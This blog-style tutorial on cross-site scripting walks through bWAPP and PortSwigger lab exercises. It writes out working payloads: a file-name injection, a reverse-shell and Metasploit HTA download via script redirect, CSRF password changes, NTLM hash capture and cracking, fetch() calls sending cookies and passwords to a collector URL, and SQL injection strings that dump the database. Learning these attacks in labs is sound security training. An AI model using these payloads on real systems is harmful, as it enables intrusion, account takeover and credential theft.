XSS: The Sneaky Ninja of Cybersecurity

Introduction to Cross-Site Scripting

Ah, Cross-Site Scripting (XSS)! It sounds like a fancy term you’d hear in a tech conference, but let me assure you, it’s not just a techie buzzword. Think of XSS as the sneaky ninja of the internet, slipping malicious scripts into trusted websites while everyone else is blissfully unaware. If you thought XSS was just about annoying pop-ups or some harmless error messages, buckle up! We’re about to dive into the wild world of XSS exploitation, where your privacy could be at stake, and your cookies (not the delicious kind) are up for grabs! So grab your virtual swords (or just your coffee), and let’s dive into the world of XSS!

What is XSS(Cross-Site Scripting)?I

magine you’re at a party, and someone slips a note into your pocket without you noticing. That note contains a secret message that only the party host can read. Cross-Site Scripting works in a similar way, but instead of a note, it’s a malicious script that gets injected into a trusted website.

That’s kind of what XSS does to unsuspecting web users. Cross-Site Scripting is a sneaky little attack where bad guys inject malicious scripts into trusted websites. When you visit that site, your browser executes the script, thinking it’s all good and dandy. Spoiler alert: it’s not!

The Three Musketeers of XSS

XSS comes in three flavors, each with its own unique twist:

1. Stored XSS: This is like a time bomb. The malicious script is stored on the server (like a hidden stash of candy) and gets served to every unsuspecting visitor. Yum, right? Not so much!
2. Reflected XSS: Think of this as a one-night stand. The malicious script is reflected off a web server, usually via a URL, and executed immediately. It’s here and gone before you know it!
3. DOM-based XSS: This one’s a bit trickier. The attack happens on the client side, where the malicious script manipulates the Document Object Model (DOM) of the webpage. It’s like a magician pulling a rabbit out of a hat, only the rabbit is your personal data!

How Does XSS Happen?

So, how does this dastardly deed occur? Well, it usually boils down to one thing: inadequate input validation. When websites don’t properly sanitize user input, they leave the door wide open for attackers. It’s like leaving your front door unlocked and then wondering why your neighbor’s cat keeps wandering in!

A Real-World Example

Let’s say you’re browsing a blog that allows comments. You decide to leave a witty remark, but instead of just text, you sneak in a little JavaScript. If the website doesn’t sanitize that input, your script could run every time someone views the comments section. Suddenly, you’re stealing cookies (not the delicious kind) or redirecting users to a phishing site. Yikes!

What in the World is Blind XSS?

Blind XSS, is a type of vulnerability where an attacker injects malicious code into a web application without knowing exactly where that code will end up or when it will be executed.

How Does It Work?

The Setup: The attacker injects a series of malicious payloads into a web application. This could be through a comment section, a user profile, or any input field that stores data in a database.

The Wait: Once the payload is stored, the attacker sits back and waits. They don’t know if the payload will be executed by an unsuspecting user, an admin. It’s a waiting game, like watching paint dry, but with much higher stakes.

The Execution: Eventually, when someone retrieves the payload from the database and renders it in their browser, the malicious code executes. This could lead to data theft, session hijacking, or even a full-blown website takeover.

Real-World Example

Let’s say you’re browsing a forum about your favorite TV show (we all have our guilty pleasures). You decide to leave a comment, but little do you know, a crafty attacker has already injected a Blind XSS payload into the comment section. Later, when an admin reviews the comments, they unknowingly trigger the payload, which could redirect them to a phishing site or steal their session cookies.

Time to Get Our Hands Dirty (Virtually!)

Now that we’ve got a solid understanding of XSS, let’s talk about how we can explore this in a safe environment. Enter Portswigger Academy and bWAPP, two fantastic platforms that let you practice your skills without any real-world consequences. Think of them as your cybersecurity playground!

XSS through File Upload

Ah, the joys of file uploads! Whether you're sharing your latest cat meme, a resume that you swear is better than your last one, web applications love to let you upload files. But here’s the kicker: every time you upload a file, the name pops up on the screen like it’s the star of the show,And guess what? If the developers aren’t careful, that little name can become a sneaky gateway for some JavaScript mischief!

Upload a File: You choose a file, let’s say “DST.jpg”

Name Reflection: The app shows “DST.jpg” back to you.

Payload: If the app isn’t checking for trouble, you could rename it to:

"><img src=x onerror=prompt(DST)>

and voila! You’ve just served up a script that could run on someone else’s browser.

Reverse Shells with XSS

So, you think a little pop-up or a redirect from an XSS vulnerability is just harmless fun?Well, hold onto your keyboards, because things can get a bit spicy when an attacker decides to capture a reverse shell! Let’s break it down in a way that even your grandma could understand.

First things first, fire up your terminal. It’s like the Batcave for hackers, minus the bats. You’ll want to create a reverse PHP payload. Just type this command:

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/Rev.php

This is like packing your bags for a trip to the dark side of the web. But don’t forget to change the $ip parameter to your machine’s IP. You wouldn’t want to send your postcard to the wrong address, right?

Now, let’s waltz back to the vulnerable application. We’re looking for that “Unrestricted File Upload” option. It’s like finding the golden ticket in a chocolate bar! Once you’ve got that, include your Rev.php file.

time to inject our XSS payload. Now, with the “Choose you bug” option, opt the XSS Stored (Blog).

head over to the comment section and type in your JavaScript payload along with the “File-Upload URL.”, Before you hit that submit button, you need to start your Netcat listener. Think of it as setting up a fishing line before casting it out:

nc -lvp 1234

<script>window.location='http://192.168.1.140/bWAPP/images/Rev.php'</script>

And just like that, you’re ready to reel in your catch!

Now, you might be scratching your head and asking, “Why go through all this trouble when I could just upload the file directly?” Great question! Imagine you upload the file and snag that reverse shell, but oops! Your IP is out in the open, and you’re about to get caught faster than a kid with their hand in the cookie jar.

In a scenario where your IP isn’t whitelisted or you’re just not feeling lucky, taking the round trip is your best bet. It’s like sneaking into a party through the back door instead of the front, much less chance of getting kicked out!

System Exploitation Over XSS

Now, our attacker decides to whip up an HTA file, think of it as a digital invitation to a party that nobody wants to attend. This file is created using the Metasploit framework, and when the victim opens it, it’s like opening a box of chocolates… except all the chocolates are filled with malware!

Here’s how the magic happens:

1. Set Up the Server: The attacker runs a command to set up a server that hosts the HTA file.

use exploit/windows/misc/hta_server
set srvhost 192.168.1.100
exploit

2. Embed the Script: Next, they embed a sneaky little script into the vulnerable web page.

<script>window.location='http://192.168.1.100:8080/dN7oJ6Cg7cjP15j.hta'</script>

Now, whenever any visitor visits this web-page, the browser will thus execute the malicious script and will download the HTA file over into his machine.

Once the victim boots up that file, it’s showtime for the attacker. On the other side of the screen, the attacker is sitting back, popcorn in hand, as they watch their meterpreter session pop up like a jack-in-the-box.

CSRF with XSS ?

Imagine if you could sneak into someone’s account and change their password without them even knowing. Sounds like a plot twist from a spy movie, right? Well, in the world of web applications, that’s exactly what can happen if they’re not properly secured against CSRF (Cross-Site Request Forgery) and XSS (Cross-Site Scripting) vulnerabilities.

How XSS and CSRF Team Up

1. Sneaky Token Theft:

• Normal CSRF: Picture this: your server hands out a unique token like a VIP pass for every sensitive request. If the token doesn’t match, it’s like trying to enter a club without the right wristband, no entry!
• With XSS: Now, if an attacker can sneak in some JavaScript through XSS, they can read the page’s DOM and snag that token. It’s like getting the secret password to the club! Suddenly, they can forge requests that look totally legit because they’ve got the right token in hand.

2. SameSite Cookies? No Problem!

• SameSite Cookies: These cookies are like bouncers at the door, only letting in requests from the same origin.
• With XSS: But guess what? The attacker’s script runs on the same site, so the bouncers are like, “Come on in!” and let those cookies through. SameSite settings? More like Same-Site-What?

3. Referer Header? What Referer Header?

• Referer Verification: Some sites check that incoming requests have a Referer header that matches their domain.
• With XSS: Since the malicious script is from the same domain, the Referer header is all good. It’s like showing up to a party and saying, “I’m on the list!” no questions asked.

4. User Interaction? Let’s Fake It!

• User Interaction: Some actions need a little nudge from the user, like clicking a button or solving a CAPTCHA.
• With XSS: The attacker can simulate those clicks or even trick the user into thinking they’re doing something harmless.

A Sample Attack Scenario in bWapp

1. Choose Your Bug: Start by logging into bWAPP as the bee. Select “CSRF (Change Password)” from the menu.
2. Change the Password: You’ll be redirected to a page where you can change the password. Enter a new password, and watch as it magically appears in the URL. For example, let’s say you want to change it to “102030”

3. Manipulate the URL: Now, here’s where the fun begins. You can tweak the URL to set a new password of your choice. Let’s say you fancy “dstsec.” Your URL might look something like this:

http://192.168.1.140/bWAPP/csrf_1.php?password_new=dstsec&password_conf=dstsec&action=change

4. Inject the Script: Time to get crafty! You can inject your script into the vulnerable page using an image tag. It’s like hiding a note in a birthday card:

<img src="http://192.168.1.140/bWAPP/csrf_1.php?password_new=dstsec&password_conf=dstsec&action=change">

5. The Visitor’s Turn: When a visitor innocently browses the site and lands on that page, the browser executes your script. Just like that, their password is changed to “dstsec,” and they’re locked out of their account!

The Grand Finale

Now, the attacker can waltz right in with the new password, while the original user is left scratching their head, wondering why their password suddenly resembles a secret code.

Capturing NTLM Hashes via XSS

So, do you think pop-ups interrupt your online shopping spree? Well, they can be a lot sneakier than that! Enter the world of XSS, where an attacker can use these pop-ups to snag sensitive data like session cookies and account credentials.

The Setup: A Script with a Twist

Imagine this: an attacker finds a vulnerable web application and decides to play a little trick. They inject some malicious JavaScript into the site, using an iframe to sneak in their code. It’s like hiding a surprise party in plain sight! Here’s how it goes down:

<iframe src=http://192.168.1.100/scriptlet.html></iframe>

Now, when a visitor stumbles upon this web page, they’re greeted with a pop-up asking for their credentials. It’s like a friendly stranger asking for your secret recipe, only this time, it’s your login info!

The Capture: Hashing It Out

Once the unsuspecting user enters their credentials, the page reloads, and voilà! The attacker has captured the NTLM hash. But wait, there’s more! This isn’t just a “thank you for your data” moment; the attacker needs to crack that hash to get the keys to the kingdom.

the attacker hop over to terminal, like a kid running to the candy store, and navigate to the directory where the hash is stored:

cd /usr/share/responder/logs

Next, the attacker whips up a password file called “pw.txt.” It’s like creating a cheat sheet for a test, only this test is all about cracking codes!

Cracking the Code

With the hash and the password file in hand, our attacker is ready for the grand finale. They fire up “John The Ripper,” a popular password-cracking tool, and run the command:

john --wordlist=pw.txt HTTP-NTLMv2-192.168.1.100.txt

And just like that, you're in! It’s like finding the secret entrance to a treasure trove, all thanks to a little XSS magic.

Session Hijacking: The Cookie Caper with Burp Collaborator

we’re diving into the world of session hijacking, where we’ll be playing a game of “Who’s Who” with cookies. And no, I’m not talking about the delicious kind you dunk in milk! We’re talking about those sneaky little bits of data that keep you logged in.

Picture this: you’ve got your netcat listener humming away like a well-tuned piano, and on the other side, a genuine user is blissfully logged in. But hold your horses! In the wild world of cybersecurity, things can get a bit tricky. Sometimes, we encounter blind XSS, where our payloads are like ninjas, silent and stealthy, executing without us even knowing!

Enter Burp Collaborator Client: Your New Best Friend

Now, if you’re scratching your head wondering, “What in the world is Burp Collaborator?” don’t worry! It’s like having a trusty sidekick in your quest for XSS vulnerabilities. To get started, log into the PortSwigger Academy and navigate to the Cross-Site Scripting section. Find the lab titled “Exploiting cross-site scripting to steal cookies” and hit that “Access the lab” button like it’s the last slice of pizza at a party!

Once you’re in, scroll down to the comment section of the blog post. It’s like a treasure map, and those input fields are your XSS goldmine! Now, let’s bring in the star of the show: the Burp Collaborator. Open up your Burp Suite and select “Collaborator.”, In the Collaborator window, hit that “Copy to clipboard” button like it owes you money. Now, head back to the comment section and paste in your script with the Burp Collaborator payload:

<script>
fetch('https://your-burp-collaborator-url', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Post your comment, and you’ll be one step closer to cookie domination.

Now, it’s time to play the waiting game. Click on the Poll button to check for any payload interactions. If you see a long list, don’t panic! Just select the HTTP one and check its “Response.”! You should see a shiny new “Session ID.” Copy that bad boy!

Back in your browser, configure your proxy and turn on the Intercept in Burp Suite. Reload the page, and check out the intercepted request. Look at that! There’s your Session ID again. Now, swap it out with the one you copied earlier from the Collaborator.

Hit that Forward button, and just like that, you’ve got administrator access!

And there you have it, folks! You’ve successfully navigated the wild waters of session hijacking with a sprinkle of fun. Remember, with great power comes great responsibility, so use your newfound skills wisely!

Credential Capturing: Burp Collaborator

Ever wondered why we bother capturing session cookies when we could just snag usernames and passwords directly? It’s like asking why we don’t just eat the whole cake instead of slicing it first, sometimes, it’s all about the journey, not just the frosting!

Again, we’ll hop back into our PortSwigger account and select the next challenge: “Exploiting cross-site scripting to capture passwords.”

Once we hit “Access The Lab,” There’s a comment section in any post just begging for some mischief.

Now, We’ll head over to Collaborator and grab our payload. Just hit “Copy to Clipboard,” and we’re ready to roll.

Here’s the magic spell we’re going to sprinkle into the comment field:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://your-burp-collaborator-url',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Once we’ve injected that little gem, we’ll hit “Post Comment” and see if our trick works. Spoiler alert: it does!

Now, we just sit back and wait for the results to roll in on Burp Collaborator. And guess what? Our payload executed successfully! But who’s the lucky winner of our credential capture? Drumroll, please… it’s the administrator! Talk about a jackpot!

Time to Use Those Credentials

Now that we’ve got our hands on some credentials, where do we use them? Well, there’s an account login section at the top of the blog just waiting for our grand entrance.

Let’s tune in our proxy and capture the ongoing HTTP request like a pro. We’ll swap in the username and password we just snagged from Burp Collaborator from:

username=dst&password=102030
To
username=administrator&password=9wzzslmhruamcxi8u2zy

And with a simple click of the “Forward” button, we’re in! Just like that, we’ve turned a simple comment into a ticket to the admin’s secret club.

So there you have it! 

From XSS to SQL Injection

So far, we’ve been chatting about how an attacker can capture cookies, snag visitor credentials, and even take control of a server’s remote shell.what if I told you that they could dump an entire database with just a single pop-up? Sounds like magic, right? Let’s unravel this mystery together!

The SQL Injection Playground

Our attacker stumbles upon a web page that’s got a nasty SQL Injection vulnerability. It’s like finding a treasure map, but instead of “X” marking the spot, it’s a poorly coded web app just waiting to be exploited.

To kick things off, our attacker needs to figure out how many columns are in the database. They do this with a little SQL sleight of hand using the “order by” clause. Here’s the magic link they use:

'order by 7--+

Once confirm the number of columns, it’s time to bring out the big guns: the UNION operator! This allows them to combine results from different queries like a pro chef mixing ingredients for a delicious dish.

And voila! “2,3,4,5” is displayed, which is just the appetizer before the main course.

Time for Some XSS Fun

Now, our attacker wants to spice things up with a little XSS action. But He/She/Nonbinary/it whatever it is, can’t just inject their JavaScript code like before. Nope! They need to get creative and convert it into a HEX string. It’s like turning a regular recipe into a secret code!

Here’s the HEX string payload:

'union select 1,0x3c7363726970743e616c657274282244616e6765722d5465616d22293c2f7363726970743e,3,4,5,6,7#

Database Dumping

Here’s the grand finale! Our attacker crafts a complex SQL query that looks like this:

'union select 1,concat(0x3c7363726970743e616c657274282244616e6765722d5465616d,0x5c6e,(concat(@x:=0x00,(SELECT%20count(*)from%20information_schema.columns%20where%20table_schema=database()%20and%20@x:=concat(@x,0x5c6e,database(),0x20207c2020,table_name,0x20207c2020,column_name)),@x)),0x22293c2f7363726970743e),3,4,5,6,7--+

And just like that, the complete database structure is laid out before them like a buffet of data!

It’s a wild ride through the world of vulnerabilities, but remember: with great power comes great responsibility. Always use your skills for good, and keep those databases safe!

A Wild Ride Through XSS Vulnerabilities: Thanks for Joining!

Well, there you have it, Hood! We’ve taken a thrilling journey through the wild world of Xss vulnerabilities. It’s been a rollercoaster of exploits and clever tricks, and I hope you enjoyed every twist and turn!

Just a friendly reminder: with great power comes great responsibility. So, let’s use our newfound knowledge for good and keep those databases safe and sound. After all, nobody wants to be the villain in this story! Except for me !

Thanks for tagging along on this adventure! If you liked the post, feel free to share your thoughts or drop a comment below. Until next time, stay curious and keep exploring the fascinating world of cybersecurity!

In bugs we trust.